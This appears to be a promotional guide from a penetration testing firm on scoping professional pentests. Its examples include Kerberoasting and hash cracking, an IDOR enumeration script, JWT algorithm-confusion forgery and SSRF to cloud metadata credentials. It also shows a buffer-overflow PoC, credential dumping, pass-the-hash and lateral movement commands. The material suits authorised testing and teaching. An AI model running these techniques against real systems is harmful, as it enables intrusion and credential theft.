Security teams and executives alike often struggle to answer the same question before signing off on a penetration test: what exactly are we buying, and are we scoping it correctly? A poorly scoped engagement wastes budget, misses critical attack paths, and produces a report that collects dust. A well-scoped one surfaces real risk, gives your remediation team actionable findings, and holds up to scrutiny when auditors come calling.
This guide breaks down what professional penetration testing services actually include, how experienced testers structure their work, and how your team can scope an engagement that delivers genuine security value.
Penetration testing is not a vulnerability scan. A scanner identifies known weaknesses. A penetration tester chains those weaknesses together, introduces novel attack paths, and demonstrates what a real adversary could accomplish with time, skill, and intent.
Professional penetration testing services from providers like Redfox Cybersecurity are structured across several distinct phases, each with defined deliverables and methodologies.
Before touching a single target system, skilled testers build a detailed picture of the environment using open-source intelligence. This phase covers passive and active reconnaissance techniques.
Passive reconnaissance involves no direct contact with target infrastructure:
# Subdomain enumeration using amass
amass enum -passive -d targetcorp.com -o passive_subdomains.txt
# Certificate transparency log analysis
curl -s "https://crt.sh/?q=%25.targetcorp.com&output=json" | jq '.[].name_value' | sort -u
# ASN and IP range discovery
whois -h whois.radb.net -- '-i origin AS12345' | grep route
[cta]
Active reconnaissance begins direct interaction with target systems. DNS brute-forcing, port scanning, and service fingerprinting all fall here:
# Targeted port scan with service and version detection
nmap -sV -sC -p- --min-rate 3000 -oA full_scan 203.0.113.0/24
# DNS zone walk attempt
fierce --domain targetcorp.com --dns-servers ns1.targetcorp.com
# Web application fingerprinting
whatweb -a 3 https://app.targetcorp.com
[cta]
This phase directly informs scope. Assets discovered during recon that were not listed in the original scope document may warrant a scope amendment conversation before testing continues.
Once the attack surface is mapped, testers run structured vulnerability analysis across all in-scope assets. This goes deeper than automated scanning because testers validate, chain, and contextualise each finding.
# Authenticated Nessus scan export for manual validation
nessuscli report export --scan-id 1234 --format nessus --output nessus_export.nessus
# OpenVAS command-line scan initiation
gvm-cli socket --gvm-socket /var/run/gvmd/gvmd.sock \
--xml "<create_task><name>Corp Internal</name><config id='daba56c8-73ec-11df-a475-002264764cea'/><target id='abc123'/></create_task>"
# Web application scanning with Nuclei templates
nuclei -u https://app.targetcorp.com -t cves/ -t exposures/ -t misconfiguration/ -severity medium,high,critical -o nuclei_results.txt
[cta]
Testers cross-reference output against CVE databases, vendor advisories, and known exploit chains before any exploitation attempt. Every finding that gets escalated to active exploitation must be traceable back to validated evidence.
Not all penetration tests are the same. The type of engagement your organisation needs depends on what you are trying to protect and what your threat model looks like.
Network penetration testing covers external-facing infrastructure and internal network segments. External tests simulate an unauthenticated attacker on the internet. Internal tests assume a compromised endpoint or a malicious insider with network access.
Internal network testing often includes Active Directory attack paths, lateral movement techniques, and privilege escalation. These engagements commonly leverage tools like BloodHound and CrackMapExec to map attack paths that automated scanners never see:
# BloodHound data collection via SharpHound
./SharpHound.exe --CollectionMethods All --ZipFileName bh_collection.zip
# Kerberoasting attack to extract service account hashes
impacket-GetUserSPNs targetcorp.local/jsmith:Password123 -dc-ip 10.0.0.1 -request -outputfile kerberoastable_hashes.txt
# Hash cracking with Hashcat against rockyou + rules
hashcat -m 13100 kerberoastable_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
[cta]
BloodHound graph queries expose shortest attack paths to domain admin without requiring any additional scanning:
// Find all shortest paths to Domain Admins
MATCH p=shortestPath((u:User {enabled:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@TARGETCORP.LOCAL"}))
RETURN p
[cta]
These findings are the ones that keep CISOs up at night, not the individual vulnerabilities, but the chains that connect a phishing email to a full domain compromise in three hops.
Web application testing follows OWASP methodology but extends well beyond automated scanning. Testers manually analyse business logic, authentication mechanisms, authorisation controls, and session management.
Common techniques include SQL injection with time-based blind payloads, server-side request forgery, insecure direct object references, and JWT manipulation:
# Python script to automate IDOR enumeration across user object endpoints
import requests
import json
session = requests.Session()
session.headers.update({"Authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9..."})
for user_id in range(1000, 1100):
r = session.get(f"https://api.targetcorp.com/v1/users/{user_id}/profile")
if r.status_code == 200:
data = r.json()
print(f"[+] IDOR found: user_id={user_id} | email={data.get('email')}")
[cta]
JWT algorithm confusion attacks are a frequent high-impact finding in modern web applications:
# RS256 to HS256 algorithm confusion attack using the public key as HMAC secret
import jwt
import requests
public_key = open("server_pubkey.pem", "r").read()
forged_token = jwt.encode(
{"sub": "admin", "role": "superuser", "iat": 1700000000},
public_key,
algorithm="HS256"
)
r = requests.get(
"https://api.targetcorp.com/v1/admin/users",
headers={"Authorization": f"Bearer {forged_token}"}
)
print(r.status_code, r.text)
[cta]
Cloud environments introduce a distinct attack surface. Misconfigured S3 buckets, overly permissive IAM roles, publicly exposed metadata endpoints, and insecure serverless functions are all in scope for a cloud-focused engagement.
# AWS IAM privilege escalation enumeration using Pacu
python3 pacu.py
run iam__bruteforce_permissions
run iam__privesc_scan
# Check for publicly accessible S3 buckets
aws s3api list-buckets --query 'Buckets[].Name' | \
xargs -I{} aws s3api get-bucket-acl --bucket {} 2>/dev/null | grep -i "AllUsers\|AuthenticatedUsers"
# SSRF to AWS metadata endpoint
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | \
xargs -I{} curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/{}
[cta]
The penetration testing services that Redfox Cybersecurity delivers for cloud environments include manual review of IAM policy documents, cross-account trust relationships, and container escape paths in EKS or ECS workloads.
Red team engagements differ fundamentally from standard penetration tests. The objective is not to find every vulnerability but to answer one specific question: can a motivated attacker achieve a defined business impact, such as exfiltrating customer data, disrupting operations, or accessing financial systems, without being detected?
Red team operations include custom payload development, phishing simulation, physical security testing, and full adversary simulation across the kill chain. These engagements run over weeks or months and operate under strict rules of engagement agreed before the operation begins.
Scoping is where most organisations make mistakes that cost them later. Too narrow a scope and you miss the real attack paths. Too broad a scope and the engagement becomes unfocused and over budget.
Before listing IP ranges and URLs, your team should articulate the business assets at risk. This is the starting point for any conversation with a professional testing provider:
Answering these questions first ensures that the technical scope reflects actual business risk rather than just a list of servers.
For each component of your environment, decide whether you need a black-box, grey-box, or white-box assessment:
For most organisations, grey-box is the right balance between realism and depth. Spending significant budget on reconnaissance that your internal team could summarise in a spreadsheet is rarely the best use of engagement hours.
The scope document must list every in-scope asset with precision. Ambiguity here creates legal and operational risk for both parties.
A well-structured scope section looks like this:
External Network:
- 203.0.113.0/28 (corporate perimeter)
- 198.51.100.5 (mail server)
- *.targetcorp.com (all subdomains, excluding third-party hosted services)
Web Applications:
- https://app.targetcorp.com (authenticated, test credentials provided)
- https://api.targetcorp.com/v1/ (API, Postman collection provided)
Explicitly Out of Scope:
- 203.0.113.100 (production payment processor, PCI-DSS isolated)
- Third-party SaaS platforms (Salesforce, Workday)
- DoS or destructive testing of any kind
[cta]
Explicit exclusions matter as much as inclusions. If a third-party cloud provider hosts your CDN, testing against that infrastructure without their authorisation creates legal exposure.
Some organisations require testing to occur only during off-peak hours. Others want continuous testing across business hours to validate detection capabilities. Define this in writing before the engagement begins.
Emergency contacts must be documented for situations where a tester encounters evidence of pre-existing compromise or accidentally triggers a production outage. This is not a hypothetical scenario. Testers regularly discover active threat actor infrastructure while conducting authorised engagements.
The deliverable is ultimately a report, and you should agree on its structure before work begins. At minimum, professional penetration testing reports include:
Redfox Cybersecurity's penetration testing engagements always include a technical debrief call where testers walk your engineering team through critical findings and answer questions that the written report cannot fully address.
The penetration testing market includes a wide range of quality. Automated scanner outputs repackaged as penetration test reports are more common than the industry would like to admit. Several markers distinguish rigorous testing from superficial assessments.
Quality testers write exploits tailored to your environment. When a service is running a patched version of Apache but with a custom module that introduces a novel vulnerability, only a tester doing manual analysis will find it. Tools alone will not.
# Custom buffer overflow PoC against an in-house service after manual reverse engineering
import socket
import struct
target = ("10.0.0.50", 9999)
offset = 2048
eip = struct.pack("<I", 0x625011AF) # JMP ESP from vulnerable DLL, no ASLR
nop_sled = b"\x90" * 16
shellcode = (
b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
# ... full shellcode truncated for brevity
)
payload = b"A" * offset + eip + nop_sled + shellcode
with socket.socket() as s:
s.connect(target)
s.send(payload)
[cta]
Finding a vulnerability is step one. Demonstrating what an attacker can do with access is what converts a technical finding into a business risk conversation.
Post-exploitation activities include credential harvesting, lateral movement across network segments, data exfiltration simulations, and persistence mechanism installation (in test environments only):
# Credential harvesting from memory using pypykatz (Python reimplementation of mimikatz)
pypykatz lsa smb //10.0.0.1/C$ -u administrator -p 'FoundPassword123!'
# Lateral movement via pass-the-hash with CrackMapExec
crackmapexec smb 10.0.0.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1245a26d4e7b02eb241 --shares
# DCOM lateral movement to additional hosts
impacket-dcomexec targetcorp.local/administrator:password@10.0.0.20 'cmd /c whoami > C:\Temp\out.txt'
[cta]
Every finding in a professional report must include reproducible evidence: screenshots, packet captures, command output, or request-response pairs. Findings without evidence cannot be remediated with confidence and cannot withstand audit scrutiny.
Regulatory requirements often drive the decision to commission a penetration test, but they should not dictate the entire scope. PCI-DSS 4.0 requires annual penetration testing of cardholder data environments and network segmentation validation. ISO 27001 requires periodic testing aligned to the organisation's risk register. DORA, increasingly relevant for financial institutions in the EU, mandates threat-led penetration testing for critical systems.
Understanding which compliance requirements apply to your organisation helps prioritise scope elements, but layering a risk-based perspective on top of compliance requirements is what produces genuinely useful results.
Penetration testing services are only as valuable as the thought put into scoping and the rigour brought to execution. An engagement that maps to real business risk, uses professional tooling and manual analysis, and delivers evidence-based findings with clear remediation guidance gives your security programme a measurable foundation to build on.
If your team is preparing for an upcoming test or trying to build the right scope document, the specialists at Redfox Cybersecurity can walk you through every phase, from pre-engagement scoping to post-test remediation validation, ensuring your investment translates directly into reduced risk across your environment.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
.avif)
